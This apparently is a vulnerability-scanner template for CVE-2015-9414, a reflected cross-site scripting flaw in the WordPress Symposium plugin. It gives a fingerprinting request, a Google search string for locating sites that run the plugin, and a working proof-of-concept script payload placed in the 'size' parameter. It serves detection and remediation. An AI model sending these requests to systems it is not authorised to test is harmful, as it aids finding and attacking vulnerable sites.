CVE-2015-9414: WordPress Symposium <=15.8.1 - Cross-Site Scripting

id: CVE-2015-9414

info:
  name: WordPress Symposium <=15.8.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Symposium through 15.8.1 contains a reflected cross-site scripting vulnerability via the wp-content/plugins/wp-symposium/get_album_item.php?size parameter which allows an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Symposium plugin (>=15.8.2) which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/2ac2d43f-bf3f-4831-9585-5c5484051095
    - https://wpvulndb.com/vulnerabilities/8175
    - https://wordpress.org/plugins/wp-symposium/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2015-9414
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-9414
    cwe-id: CWE-79
    epss-score: 0.03605
    epss-percentile: 0.88877
    cpe: cpe:2.3:a:wpsymposiumpro:wp-symposium:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpsymposiumpro
    product: "wp-symposium"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/wp-symposium\""
  tags: cve2015,cve,xss,wpscan,wordpress,wp-plugin,wpsymposiumpro,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-symposium/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP Symposium'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-symposium/get_album_item.php?size=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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